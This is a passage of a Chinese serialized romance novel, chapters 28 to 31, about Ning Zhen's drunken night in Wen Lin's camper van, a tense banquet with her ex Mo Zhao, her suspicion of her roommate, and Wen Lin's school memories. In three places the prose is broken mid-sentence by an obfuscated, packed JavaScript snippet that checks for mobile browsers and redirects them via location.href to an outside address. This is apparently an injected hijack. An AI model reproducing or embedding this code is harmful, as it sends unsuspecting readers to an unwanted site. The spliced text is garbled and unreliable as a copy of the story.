说那句话的时候宁蓁若无其事,稍后感受到他的目光,回了一个浅淡的、带几分疑惑的笑。 像在荡秋千,忽上忽下,风吹得眼眶酸热。他怔了片刻,垂下头,发梢遮住模糊的视线。 现在不是有了吗。 我和那个短发的女生不能成为你的朋友吗。 房车外掠过夜风,他趁风声摇曳时深深呼吸。 宁蓁将剩余的酒精混合饮料一饮而尽:“你不喝酒。” 她兀自重复,被蛛丝马迹牵绊了思绪。 “但是冰箱里却放了一瓶威士忌。” 温霖回到座位,在她对面,承认这辆车是和哥哥借的。 “你有哥哥啊。” “嗯,我妈再婚,对方带来的。” “……” 气氛一度低沉。 “不好意思。” 她不知道在对谁道歉,却打算贪婪地再来一杯。 “没关系,早就过去了。你呢。” 他想了解。 威士忌混入菠萝苏打水,气泡冒出来,破裂。 “我没有哥哥。” 宁蓁表情淡薄 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“我不喜欢一掉眼泪就着急抹掉的人,还有流泪的时候用手当作扇子的人,可是你哭得很漂亮。” “漂亮”两个字在宁蓁口中有种蛊惑的力量。 他相信自己彻底沦为了玩物,一会儿心如刀割,一会儿又被她轻轻勾着。 “明天,你还会记得这些话吗……” 他小心翼翼试探,带了几分鼻音,濡湿的双眼在暖光下晃漾。 宁蓁摇头,露出前所未有的坦率和轻松:“不会哦。” “……” “因为我现在大概有点醉了。”她支起手臂撑住脸颊,笑眯眯的。 温霖察觉到了:虽然面色看上去只是微醺,但她慢慢敞开了心扉,变得不吝言语。 “放心,我喝醉之后不发疯的,就是拦不住想说的话……” 她自问自答般解释,突然间手肘失去支撑力,滑开,撞飞桌上的手机。 啪嗒—— 翻转落地。 她迷迷糊糊“啊”了一声。 卡座狭窄,温霖先跨出去才俯身捡起。 自然的平常之举,扬起视线时却看见宁蓁的手悬在空中,径直伸过来。 越来越近,甚至没有一丝犹豫。他左膝跪在地上,头顶倏然迎来抚摸。 纤细的手指穿入柔软发丝。 她错将他当成沐沐:“好乖好乖。” 身上流过一阵酥麻,如同触电。温霖耳朵赫然红透,垂了眼,不甘地别开视线,刚要消退的泪水又溢到眼角。 反正都会忘的。 反正,你已经忘记我了。 宁蓁接过手机。恰好屏幕亮了,她大大咧咧往桌面一摊。 他起身瞥见来电人是莫昭,电话被挂断,接着通知栏不断弹出消息。 “唉,一直打电话来,说他失眠……” 温霖坐回去望向窗外,冷着脸:“哦,真严重。” 山间飘来雨的气息,幽深林叶婆娑起舞。 明天就不记得了,所以今晚我说什么都可以。 酒精还在发作,她的醉意再度上升一个等级,勉强应道:“是吧。” “是啊,相比之下我只是拉伤了,一点也不致命,不关心我也不会死……” 他在闹别扭。 明明之前还故意选了最扎眼的蓝色想让她注意。 “嗯……”宁蓁放空了,浑身松软,枕着手臂趴倒在桌上。 温霖轻叹。 “说起来,从小我就被我妈教育要有礼貌,好好问候,好好道别。” 她含糊应着。 他望进夜色:“但是有一个人,偏偏只有她,从来都不打招呼就离开。” 净是些任性的气话,所以只能放在这个酣醺的、斜风细雨的夜。 “已经三次了,这个人抛下我三次了。” “是么,”宁蓁醉得眼饧耳热,“真可怜。” “不,其实很幸运……因为又见面了。” 温霖的目光依然湿润。她昏昏欲睡,不再出声。他没期待她能有所回应。 不知过了多久,她的呼吸变得漫长而宁静。他谨慎地站起来,想去关上灯。 没想到这时,宁蓁恍恍惚惚举起一只手,轻软地拽住他的卫衣下摆。 “你好好闻啊。” “像是……” 他驻足。 小雨淅淅沥沥,融化了半截呢喃。 28. 梦醒 做了好长好长的梦。 醒来时晕头转向,幸好后背抵着坚硬的床。 宁蓁判断自己喝醉了。她平时很少饮酒,但只要沾了就莫名喝到断片。李肃和莫昭都说她不耍酒疯,只一个劲儿睡觉,睡到地老天荒。 ——最好是那样。 远处传来空灵的鸟鸣,她睡眼惺忪,记忆的片段在脑海里纠缠。昨夜,糖分和水果气味盖住酒的辛辣。她对温霖说了几句话,开始做梦,梦中有个人在流泪,眼里噙着倔强与落寞,像一张透过天光的纸。 脆弱,而且透明,一碰就碎了,让她觉得赏心悦目。 可这次梦见的怎么不是师弟…… 太阳穴胀痛,突突地跳。宁蓁想揉几下,举起右手,却忽然怔怔看着。 指尖有温软的触感。 昨天,她似乎用这只手,游进他深沉的黑发。 一个想法猛地蹦出来:我醉到把他当成沐沐摸了头……? 悬着的手捂住双眼。 结果偏偏这件事记得最清楚。 耳边残留着他的叹息。是啊,他的确该叹气,但没过多久,那道轻叹渐渐化为了呼吸。 小唯还没起床。 ……寮房的景色变了? 她裹了条没见过的纤维被。平躺在床上直视的是一盏天窗,窗子上面生长着茂盛林叶,绿意掀起粼粼的光。 毋庸置疑,是房车的额头床。 宁蓁茫然地坐起来,拉开左手边浅绿色床帘。 料理区收拾得干净。沐沐正趴在车尾地板,专心舔着食垫内的花生酱。 “早啊。” 温霖勉强抬起半闭的眼,向她打招呼。 “早……”她如同程式一般回应,披着镇静的外壳,大脑却飞速运转—— 我未经准许,睡在了这辆房车里。 而他一脸倦意,目光沉沉的直往下坠。 “早上四点,鸟就开始叫,”温霖的话音明显迟缓些,“太准时了。” 宁蓁蜷身抱住被子,看见挂在门口的牵引绳。他似乎已经遛过狗了。 “你没睡好。”她说。 “大概一夜没合眼。” “为什么?” 她很抱歉地占用了休息空间,可床尾还有张横置的单人床,就在沐沐身后,看起来比额头床宽敞。 “因为空气里全是酒精。”他神色慵懒又带着点怨念。 在赌气啊,宁蓁想,因为我像对小狗一样对待他。 “对不起。” 温霖摇了摇头:“没关系,开玩笑的。” 昨夜,他不忍心拨开她的手,于是伫立在原地,等她慢慢松开。她说他身上很好闻,但话只说到一半,他还疑惑那到底是什么味道。 后来她睡熟了,整座鹭山只剩下自己孤独地清醒。细雨凄然,他想着她的身世,想到过去她毫无征兆的消失,直到…… 夜里下过雨,白天碧空如洗。 该离开了。宁蓁伸出胳膊,意外发现上身变成短袖,一件干净亲肤的白色T恤,散发着淡淡皂香。 尺寸过于宽松,肩线几乎垂到上臂。 “衣服……”她看着衣袖出神。 ——真的到明天就忘得一干二净。温霖内心沮丧,但仍旧撑起爽朗的笑。 “你说要借的。” 宁蓁一怔:“我?” “昨天你在卡座上睡着,半夜十二点忽然坐起来,问有没有牙刷和睡衣。” 对于睡眠,她潜意识里有种执着的坚持:和频繁消毒双手一样,睡前必须洗漱,保持洁净,不能让外面的衣物接触床单。 深夜,温霖面对她如醉初醒的双眼,缓缓回答:“可以把我的借给你……睡衣。” 暧昧至极的提议。 但宁蓁在酒精控制下只保留了本能:“嗯,谢谢。” 他翻出未开封牙刷和一次性纸杯,放在叠得齐整的睡衣上,递过去的时候依然将信将疑。 对方果断接下了,撕开包装。 “如果需要洗澡,卫生间的淋浴可以……等等,你——!” 她手指搭在了衣扣上。 清苦的眉梢松了松,流露出朦胧的困惑。 温霖即刻转身,视线盯着车尾蜷缩睡觉的沐沐,耳朵红得快要滴血。 “别在这儿换啊……”嗓音低到溶入雨声。 他一动不动,不敢贸然回头。过一会儿背后响起开门声,她去了卫生间洗漱,再出来时身上套着宽大的短袖和几乎曳地的长裤。 狭窄的房车内,两人对视,停顿。 宁蓁还是醉醺醺的,却笑着说了声: “晚安。” …… 她好像,想起了一点。 确实是自己主动借了睡衣。温霖背过去,像被罚站。她穿上衣服,目光浸入酒里,恍惚流连着他的肩膀。 梦中,眼泪淌过锁骨,没入领口。她那时醉得酩酊,想知道他身上的水滴最终会流向哪里。 然后她爬上了额头床,甚至小腿磕到边沿隐隐作痛。 同时羞耻感也爬上肋骨。 早晨七点,鸟鸣啁啾不停。宁蓁匆匆整理床铺,到卫生间换回收在纸袋里的外衣,一切快得像道闪电。 她推开房车的门,试图回避温霖恹恹的双眼。 “谢谢……你睡吧。” 车门关闭。驻车地离得不远,摇曳的树海呼唤她全力奔跑。 今年不能再碰酒了。 明年也禁止。 静默的古寺俯瞰着茫茫幽绿。也许寺中神佛会原谅醉后的恶劣行径,但至少在那之前得衷心忏悔。 手机一直在响。她跑得太快,捉不住,温霖担心迷失方向,发了好几条消息想让她停下。 「我到了」 打字时气喘吁吁。在寺里短暂生活的日子,她不知不觉摸透了山里所有歧路。 L.:「那就好!」 L.:「我先睡啦」 宁蓁微微笑了,脑海中蓦地冒出一句“多睡觉才能长高”。 但实际上,他的身形优越出众,对身高根本无需介怀。 好奇怪。 阳光正盛,反而晒得皮肤一阵寒凉。她被迷茫困住,心中迅速冷却。 那个飘着雨的夜晚,真的是我们第一次见面吗。如果不是的话,为什么你要装作不认识我? 树叶窸窣,低低切切。山门法堂亦有能见之性,层层石阶下,她的神色渐渐凝固,恍然察觉到高处投来一簇高傲的睥睨。 ——如同当年,袭击者退学后,她依旧难以摆脱被观察的位置。 有人正看着她。 在福缘寺与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071755|163236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大学校园里,匿于暗处令人毛骨悚然。 可除了义工组长,还有谁? “蓁蓁!” 肩上突然一沉,身后跃出室友的脸,她眼睛弯成月牙,满脸是笑,举起一枚坚硬的小物件。 “好巧,这是你掉的吧?” 安唯拾到了遗失物,像个竹哨,中间空心,用刀刻出孔隙,表面有凹陷的磨痕。 除了陈旧,与她的并无差别。 宁蓁目光战栗,失了神一样捅进外衣口袋,被里面的东西划破手背。 不对。 她没有弄丢随身携带的那支。 那小唯捡到的是什么? “怎么发呆啊。” 安唯递来哨子。本应碧绿的竹身旧得发黄,从褪色程度来看至少制作于四五年前。 她心不在焉道了声谢,单手捧住。 四年或五年。相似的时间节点,难以避免联想到她的前任。 那时候莫昭经常探进她衣服里翻找。他知道她一定会带着,知道她舍不掉这个习惯,一旦摸不到口袋里的鸟哨就惊惶失措。 “昨天夜里有一群乌鸦猛叫诶,”安唯说,“嘎啊——嘎啊——” 二人并肩拾级而上,宁蓁已经听不进对方发出的声音。 背后汗毛倒竖。周遭的风与树全都噤若寒蝉。 因为,那支小巧却锋利的、曾经将她压垮的东西…… 她从来没有在小唯面前吹过。 * 转眼间回到车上。 名贵轿车,像条吐信的蛇。车窗紧闭着,玫瑰香水味儿直冲鼻腔,诱得胃里一股股翻涌。 他们原本没有理由再见面,但几天前安唯意外上演了一出物归原主。鸟哨并非常见的手工制品,她猜测只能经由莫昭之手。 “你在哪里捡到的?”她问。 “就附近,”安唯指指石阶旁的土地,“这几节台阶吧?” 继上次荨麻疹之后,怀疑的种子再度生根发芽。后厨工作时,宁蓁曾暗讽通风报信的人“在电线杆上多嘴”,事后还为此愧疚不已。 如今,她宁愿是自己重蹈覆辙。 空气死气沉沉。 今天宁蓁改坐后排,对角线,车内离他最远的位置。 她不想直接对峙,旁敲侧击地问“你最近有没有弄丢东西”。 “我从来不操心这码事,”莫昭透过后视镜扫了一眼,“东西太多,丢了也有人给我找回来。” 没得到任何有效信息。犹豫片刻,她缓缓开口:“那我送的呢?” 说得够直白了。 可莫昭只是把她的话语翻过来:“你呢,我送你的礼物还留着么。” “……” 宁蓁扭头,忍着晕眩望向窗外。 男人勾起唇角:“最近你刚丢了一件,我捡回来了。” 车子驶入商业街,他单手拎起副驾驶的手提袋。 红白撞色,是之前她还回去的高定礼服。 “待会儿回家换上,和我去宴会。” 这和昨晚约好的不一样。 她只打算当面聊聊——他也是这么说的——如果事先知道莫昭安排了社交活动,她根本不可能答应邀请。 手提袋倒在脚边,宁蓁攥紧身前的安全带。 “……我不想穿。” 29. 欢宴? 莫昭轻笑,似乎对她的拒绝饶有兴味。 “看看外面那群人。” 傍晚,天色微微黯淡。 繁华街道上写字楼林立,忙碌的十字路口亮起绿灯,人山人海骤然倾倒。 “他们努力一辈子也穿不上一次高定,”他左手撑着方向盘,“我亲自送到你手里,你倒还看不起。” “我没有看不起。”她澄清。 “那就换上。”他说。 她沉默了,贴近车窗寻找被摩天大楼分隔的天空。 红灯。 车辆缓缓挪动,忽止忽行,浓烈的香水味儿熏得人头晕目眩。 莫昭断言她还爱他。宁蓁难以忘记当时那种感觉:晚餐后,心脏剧烈地悸动、颤抖,快要胀破胸膛。她从理智上否认那个判决,身体的反应却大相径庭。 为什么。 她问了很多遍,每次都留下迷茫的空洞,需要更多答案去填。 气氛僵持着,谁也没有再说话。宁蓁错过了他的表情,用手掩住唇。 率先开口的还是莫昭:“要是晕车你可以睡会儿。” 她话音冷淡:“我不在车上睡觉。” 东西向道路车水马龙,漫长的红色信号灯开始频繁闪烁。 他喉结滚动,从喉咙里挤出一声喑哑的长叹。 “就当作我求你。” “……” “蓁蓁,你说过会帮我的。” 街上掀起鼎沸的喧嚣和呜咽,车子起步,脊背紧紧黏住座椅,心脏甩向了后面。 “今晚董事会的人也到场,还有成理。我们都不想鸿鹄计划落败,鹭山大面积开发成养老社区,对吧。” * 熟悉的小区,老树生得葱茏,水泥浇筑的花坛里长着热烈灿烂的杜鹃。她无意间停顿几分钟,花儿始终无人问津。 回家后,宁蓁快速淋浴化妆,站在全身镜前审视那副躯体的倒影。 最终她还是松了口。结果早就注定了,继续拗下去只有两败俱伤。她不再像二十岁出头那样闹得难堪,兴许换上礼服只是乔装打扮,为了找到安唯捡到鸟哨的原因。 长裙是杏仁奶白色,轻柔顺滑的丝质,肤感冰凉,胸前深V开到上腹,露出大部分皮肤。宁蓁换了鞋子戴好配饰,薄薄的底,近似裸足行走,长发上的金色细环像某种圣洁的头冠。 这样远远不够。 一旦蹲下去,衣服几乎遮不住什么。手提袋底还压着一件东西,她捞出来,发现是一对未拆封的胸贴。 莫昭连这个都准备好了。 她面对镜子抬起头,怔怔看着里面那张陌生的脸。 …… 刺眼的白光照下来。 天凉了,宁蓁似乎披着层流动的云,一点点散去,带走体温。 宴会在市中心的豪华酒店举办,她不记得路,只瞥见两侧店面满是透明橱窗,里面摆着高奢品牌。 “冷吧。” 莫昭想揽她的肩,袖口即将擦过裸露在外的光滑肌肤,却被不动声色地躲开。 他显然没料到她的举动,压低了嗓子:“学学别人怎么做的。” 周围宾客陆续下车,男女皆相互挽着,成双成对。 宴会的礼仪么。 男人伸直了胳膊等待回应,黑西服熨烫得没有一丝褶皱。 刚才宁蓁忽然浑身一轻,似乎透支了肢体的反应,代价是接下来铺天盖地的沉重感。她木然地举起手,手臂骨骼纤细,足以从虚空的缝隙穿过,不碰到坚/挺的西服料子。 但他一下收紧,手劲大得惊人。 好冷。空气稀薄,她瑟瑟发抖,脚下僵硬得像在泥泞中跋涉。 光线越来越强烈。酒店临近老城区,内部装修成传统的古典风格,走廊弥漫着檀香气息。 稍微能盖过他的香水。 社交场上影影绰绰,有的顾盼生姿敬着酒,有的人前故作诙谐,转身就剥掉面具换上另一副嘴脸。莫昭有点手段,一向在这种场合里如鱼得水。他们相谈甚欢,流入双耳变成细碎的音节,脸庞像幽灵似的浮上来,宁蓁只管在旁边笑,唇边的弧度凝固,冻结。 大厅富丽堂皇,晃得眼晕,难得无人搭腔,她视线胡乱飘向一位穿旗袍的女士。 ——标致的猫眼,眼尾上翘,美丽而张扬。 是慕容。 当初在山门下,莫昭称呼她为“成太太”。 然后她双目一眯,亮出尖牙利齿,狠狠地咬了回去。 那不是个好惹的人,尤其当她发髻上的步摇左右摇曳,折射出夺目的光,眼神慵懒斜睨的时候。 譬如此刻。穿越来往宾客,慕容女士悄然锁定了她。 宁蓁打了个冷战。 “抱歉,我去趟洗手间。”她抽出被挽住的手。 莫昭正在和一对夫妻闲谈,笑意温柔:“去吧,在这儿等你。” “听说那女孩常和野生动物打交道。” “是吗,干干净净的,看不出身上有野性。” “莫家的儿女,眼光一直都那么好。” 身后议论纷纷,她径直走向一位服务生,问路,逃到酒店里最寂静的角落。 “嗯?这哪儿来的天仙下凡啊。” 男人们摇着香槟停在走廊。 “人家是神女,不会说中文,你没看都不搭理我们吗。” 好像有谁在拿她的裙子当谈资。 “喂,我哥们儿跟你说话呢!” 宁蓁没有回头。今夜月色溶溶,站在窗边犹如隔水相望。 “你他妈聋啊——” 男人发怒了,她惊觉原来别人喝醉后是这种反应,五官会变得扭曲,像一口烧红的锅子。 她往后退,双手抱臂护在胸前。 这时莫昭出现了,BERLUTI的黑色皮鞋踩住走廊的灯影,低声唤她。 “过来,蓁蓁。” 纨绔少爷们收起不怀好意的打量,纷纷赔上了笑。 “哟,莫总!” 他故意搂住宁蓁的腰,语气促狭:“说了几遍不要乱跑,现在掉进狗窝里了,该不该罚?” 她腰背纤薄,旁侧是男性的宽阔手掌,更显得盈盈一握。 那两个少爷眼睛烧得通红,却顾忌生意场上的规矩,即使血脉偾张,涨起勃然的火,也得咬紧牙根咽回去。 “原来是莫总的女人,她一直不说话,闹了点小误会。” “就是,对不住啊嫂子。” 他哂然,带着她转身离去。 今晚,月亮是鹅的绒毛。宁蓁只想着这一件事,想再回头眺望那扇窗。她在梦游,意识和月色一样朦胧,像笼了层纱幔,与现实隔得很远。 腰侧压着重量,不知道是什么,场景慢慢回到餐厅,圆桌铺着白布,酒杯堆成塔,香槟均匀流入每只杯子。 某个瞬间莫昭放开了手。她有点头晕,扶着桌沿,突然听见一声支离破碎的尖叫。 玻璃杯死了。 是摔死的。 周围掀起一小阵哄乱,人群各自惊呼、皱眉,富家太太口中念起“碎碎平安”。 晶莹碎片飞散四溅,躺在脚下衬得灯光更亮。莫昭的视线逡巡着,直直对上她,唇边带着锋利的笑: “捡起来。” 嗓音仿佛套上了厚重的水膜。她的眼神变得懵懂,于是他重复一遍:“蓁蓁,捡起来。” “为什么……?这又不是我……”她靠本能反驳。 莫昭却说:“是你碰倒的。” 是吗。 她有些恍惚。 他的音调继续往下沉:“你亲手扫掉的杯子,就在我眼前。” ——“成年人要为自己的行为负责。” 二十岁的时候,她觉得莫昭成熟而理性。他用那句话向她告白,告诉她之前送过的每一束玫瑰都饱含心意。 那天夜色宜人,她站在校门口,一脸清澈地问“所以那是什么意思”。 “意思是我明确自己的行为。” 他低下了头,背后如织的车灯川流不息。 “蓁蓁,我正在追你。” 但六年后,相同的话成为她的枷锁。 成年人必须负责。既然在如此重要的宴会上打碎了杯子,就要亲自捡起来。 名贵的高定礼服毫不舒适。 宁蓁遮住空荡荡的胸膛,右手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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莫昭率先呈上笑容:“怎么抛下成理一个人?” “王董要找他谈谈,”女士回以狡黠的笑,“王董你知道吧?就是张董的老战友,年岁最高,最讲究家风和睦的那个。” 他脸色微变。宁蓁反应过来:在鸿鹄计划中他们分属两个阵营,处处针锋相对,水火不容。 慕容女士潇洒地留下那句话。后来莫昭让她挽着手臂,不准轻易松开,一直持续到散场。离开酒店时她手臂发麻,血液流得艰难,但依稀记得前来参加宴会的原因—— “五年前我送给你的鸟哨,还在吗?” 他们走了侧门,一条供员工进出、人烟稀少的小路。夜深,寒意渗入皮肤,宁蓁垂下眼,肩膀打颤,浑身透着冰冷气息。 往往是这副模样让莫昭怜惜。清冷,孱弱,比她当年更难以捉摸。 他想了想,说:“那我得找找才能确定。” 场景一如六年前。她望向稍远的地方,而今夜不见车灯如织,只有隐入夜幕的榕树与萧瑟风声。 现在是春天,还是秋天? 莫昭抬手帮她整理长发,指腹摩挲着发丝:“不如,我带你回家看看。” 句尾语调上扬。 宁蓁却向后退,喃喃道:“不用了。” 已经没有必要了。 因为,对面的岔路,一个女孩的身形一闪而过,清晰地映入眼中。 她说了声要自己回家,扔下莫昭,快速拉开距离,给室友发消息。 「你在哪」 然后,背影已缩短为一片叶子大小的那个短发女孩原地驻足,匆匆低头拿出手机。 「在寮房啊,怎么啦」 及时的回复。 宁蓁看着对方渐渐消失于酒店的员工通道,目光轻轻颤着,如芒在背。 ……小唯。 你一直,都在对我说谎。 30. 漫漫长路 她做了梦。 一会儿昏沉,一会儿睁开眼醒着。呼吸断断续续,在水中换气,拖着轻飘飘的躯壳往前游。面前浮着一潭幽影,是月光投向水深处,她伸了手,跌进去。 影子摇曳着落下,只停滞一瞬便拉开自己的衣服披在她肩上。 “穿这么少,小心感冒。” 冰凉的外衣,略显厚重。宁蓁双眼慢慢回温,问:“你怎么在……” 他一身黑,不同于平日的柔软色调,似乎回到初次相遇的那天。 “嗯?”温霖晃了晃手机,“是你叫我来的。” 屏幕亮着光,她翻开对话框,发现和他的最后一条消息竟然在不久之前。 「你能来一下吗」 「我在这里(共享位置)」 深夜十点二十分,他简单回了一句“好”。 真的是她让他来的。 但她已经没印象了。 四十分钟前,我正站在窗边看月亮……? 夜风四起。宁蓁出神的几秒钟,温霖侧身替她挡住,顺势趁风过抬起眼。 有人暗暗窥伺。 流动的空气拨起深黑短发,他面色冷峻,凛冽的目光飞掠至远处西装革履的男人。 沉默中视线交锋。 眼神传递着信息,一字一顿。 “别、过、来。” 风吹得一阵寒冷,幸好肩上披着开衫卫衣。宁蓁走在他身后,两手拢了拢衣襟,抱着歉意道了声谢。 “一直麻烦你,其实没有特别的事。” 她对失去记忆的消息感到心虚。 “我不觉得麻烦。” 温霖只是笑。尽管她冷若冰霜地保持礼貌,尽管她的时间总是倒流,无论主动靠近多少步都会被推回原点。 “也许因为我……”宁蓁尽力回想着给他发消息的时刻。 北城的深夜寂静无声。 他脱了外套,只剩一件宽松短袖。运动绷带换成不起眼的杏色,风钻入领口,她好像能看见他衣服底下收窄的腰。 匀称的薄肌,线条流畅紧致。 她喜欢他的身体。 到了嘴边,那句话变成:“因为我想见你。” 他拥有引人遐想的外表。宁蓁不再阻止这个想法,承认其中混杂着迷离的欲/望。 对啊,因为几十分钟前,我正孤立无援地看着月亮。 我想见你。 可是为什么,说出这句话的时候,心里会这么难过? 突然,温霖停下了。 她鼻尖酸涩,眼前泛起波纹:“我们是朋友吗。” 月色化开,又凝结。 “当然……” 当然,他会回答“当然”。 …… 路灯一晃,照着模糊泛黄的旧墙。窗外鸟鸣嘈杂,寮房内,安唯趴在桌上露出侧脸:“我觉得你们挺般配的诶。” 宁蓁问是谁。对方说,你和沐沐主人。 她浅浅笑了。 这次轮到了什么?那些满面欢笑的脸谱后面究竟是刺探,还是揶揄和奚落? 所有话都藏着弦外之音,怪她以前听不明白。大学宿舍也是,如今的寮房也是。 聊起动画电影时温霖曾经说“现在的文明不难接受一个不会飞的同伴”。 可是她们…… 她们就没有接受我啊…… …… 好长好长的路。 宁蓁从外套下伸手,轻轻曳住他的衣角。 “不要对我说谎……” 她眼里朦胧恍惚,下一秒膝盖发软,蓦地踏空。 石头打磨成阶梯。 山门一级级流下,如同记忆的长河。而她的出了错,中途截断、空白,一不留神就坠入万丈深渊。 她不想这样。 拼命发出了求救信号,却永远堵在冰冷的高墙之后。 自寺门起大约第十级台阶,如果认了命滚下去,大概会粉身碎骨。 万籁俱寂,没有人听见她的呼救。 但是他——那道影子——紧紧揽住腰肢把她捞回来。清晰的轮廓近在咫尺,和梦中一模一样。 “师弟……”宁蓁无意识呼唤。 师弟还活着。 他后来怎么样了? 黑影虚浮着飘向夕明谷的洞穴,引她走进比深邃处更深的地方。他失去了伤痕累累的肉/体,连那只她唯一能牵住的手都已经化为茫茫灰雾。 他说自己是谷里的影子,内心却不愿让宁蓁亲眼目睹真身。 “你走吧,师姐,沿着这条路走出去。” 他为她指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071757|163236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路。那副诡异的壁画就是提示,风朝东,月晕朝西,洞穴里还有其他出口。 浓重的雾渐渐散了,淌在地上。她想触碰,他却从指缝间流逝。 “我们一起……” “不,我无法离开。” 狂风骤起,裹挟着黄沙冲进洞内,嶙峋山脉摇摇欲倾。 石壁漫出雨水,她的衣物彻底湿透。 “师姐,原谅我。” 他气若游丝。 “原谅我……不能带你走……” 雨瀑汹涌,冲垮了天与地。 …… 老城区夜幕低垂,坠向山对面的重檐与青砖红墙。 宁蓁眼里滚着泪水,问我们已经不是第一次见面了,对吗。 她亲手在他身上刻下了咒文:不要对我说谎。 一旦违抗即将迎来剜心蚀骨的痛。 …… 傍晚,日渐西沉。 她说了出来,去直视潜伏在寺庙和宿舍里盯着她的那双眼睛。 “小唯,你来福缘寺做义工……不只是为了寻找灵感吧。” 凉风吹拂。 安唯手中拿着啤酒,蓦然转向的那张脸写满错愕。 …… 脑海中很乱,乱得漫无边际,不断闪回走马灯似的片段,让人分不清哪一刻才是“现在”。 夜里,他们沿着山门走下去。月光晶莹剔透,路旁仰躺着一只鸟,浑身僵直,一动不动。 有些鸟类死亡后被剥制成标本。 另一些鸟类不能,它们死前就已经四分五裂。 尾羽、喙、趾爪、眼先、翼下覆羽。 视线没有落点,在树影间风雨飘摇。她想到妈妈,那是个她从未见过的女人,然后想到师弟,他的刀遗留在崩塌的山谷里,她十分后悔没能把它拿回来。 终于,宁蓁放弃了忍耐,失声恸哭。 “师姐……” 谁? 谁在叫我? 温霖跟在她背后。 为什么你叫我“师姐”? 为什么你……知道我的梦? 他走过来借了肩膀给她。眼泪迅速淋湿了衣襟,宁蓁空洞的目光打着颤,艰难攀上去,看见他纤长睫毛下流露出幽晦的悲伤。 “……师姐,对不起。” 31. 并非败犬的青春故事 “盯了这么久,你想去冬令营呀?” 肩膀被唐突地推搡,他却不动,耳边近处传来一个女孩子的声音。 黑杨参天,树叶婆娑起舞。学校宽阔的主干路上,温霖轻扫朝身侧一眼,挪开两步,望回面前的宣传栏。 铝合金边框,洁净透明的玻璃橱窗。初秋新学期伊始,窗里也换上了新的海报。 他淡淡回道:“就,考虑看看。” 左页写着“冬令营招生中”。同桌赵安琪往前探身,说:“滑冰,还有室内攀岩,挺好玩儿啊,我也要去。” 她搞错了重点。 事实上,温霖始终注视着海报右半部分——高一新生入学,摄影师抓了几张朝气蓬勃的照片,作为形象代表,其中某位学姐被拍到特写,并在文末以极小的字体标明了她的姓名。 宁静的宁。 以及,“桃之夭夭,其叶蓁蓁”的蓁。 是咒语吧?这个名字从小时候就植入他脑海,做梦都忘不掉。 “啊,打铃了,快走吧,下节是数学课!” 北城二中大得像主题公园,正门的坡道太遥远,十分钟都不一定能跑回初中部。 赵安琪着急催他。 离开之前,温霖的视线在宣传栏上流连到最后一秒。 * 初二,课程表上多了生物课,男生们开始蠢蠢欲动,故意翻到生殖系统那单元扯着鬼脸嬉笑。 “嘿嘿,在看受精卵啊?” “对喽,我看看你爹我是怎么生出你的。” “你他妈给我站住——” 班里闹得要掀翻屋顶,赵安琪一进门就看见生物课本满天飞。 相比之下,她的同桌是个格格不入的人。他话很少,不轻易笑,无聊的时候只用手撑着半边脸凝视窗户,外面阳光耀眼,看久了眼前泛光斑,但他从来不躲。 有一天赵安琪在课上偷偷翻言情小说,读到个描述男主角的词,她也学着对温霖说。 “你阴恻恻的。” “是吗。” 他歪了下头,没表现出兴趣。从侧面看,他的睫毛比一般男生长,五官清晰太多,好像和故事里的男主没区别。 后来那本小说差点被老师发现。 “赵安琪,看什么呢,拿出来!” 她心一紧,手忙脚乱塞进同桌的课桌里:“没有呀!” 双手举起来,的确空空如也。 英语老师推了推眼镜,狐疑地瞥过来,凭空绕着她和同桌打量了三圈。 但温霖没有半点慌张。 最终,攒成卷的英语书点在她桌角:“好好听讲!” 下课后,赵安琪轻轻拉了两次他的校服,说请客吃服务部的可爱多,巧克力和草莓随他选。 他拿出小说还给她,双眼依旧恹恹地望着窗户和秋天的光影。 “不用。” * 九月中旬,社团迎来招新机会。晴天,天高云淡,社长们搬着桌椅摆到主干路的坡道上,召集社员各凭本事。 “来光临篮球社吧!去年入选北城市赛,爱好者也能参加!” “你是电你是光,特斯拉社欢迎你啊,一起玩儿科学!” “话剧社招收演员啦,下周三中午来高二教学楼社团活动室试镜,想上台的记住下周三中午十二点准时!” 去年入学已经见识过他们的花活儿,今年除了人员变动还是老一套。人群熙攘,新生纷纷在社团展板前停留,她们跟着往前走,被动漫社coser坚硬的假发打到头。 “好帅的coser。”三班的朋友悄悄感慨。 “他去年就出的这个角色吧。” “我倒没印象了。哎!那不是你们班的……” 朋友左右张望,突然猛拍赵安琪胳膊。 她清了下嗓子:“我同桌,怎么啦。” 话刚说完,羡慕的目光立刻将她淹没。 “你居然和帅哥同桌!请允许我采访你此时此刻感觉如何?” “就是……”赵安琪心思有点溜走了。 远方,温霖停在文学社的展板前。 碎碎的发尾翘着,发型明显不合校规,头发的颜色也和平常人不一样,看起来比冒着泡的葡萄味儿汽水还要深。 “就是,淡淡的,找不到东西能让他产生波澜。” 朋友似懂非懂点点头,接着语出惊人: “那,给他写情书也不会啰?” 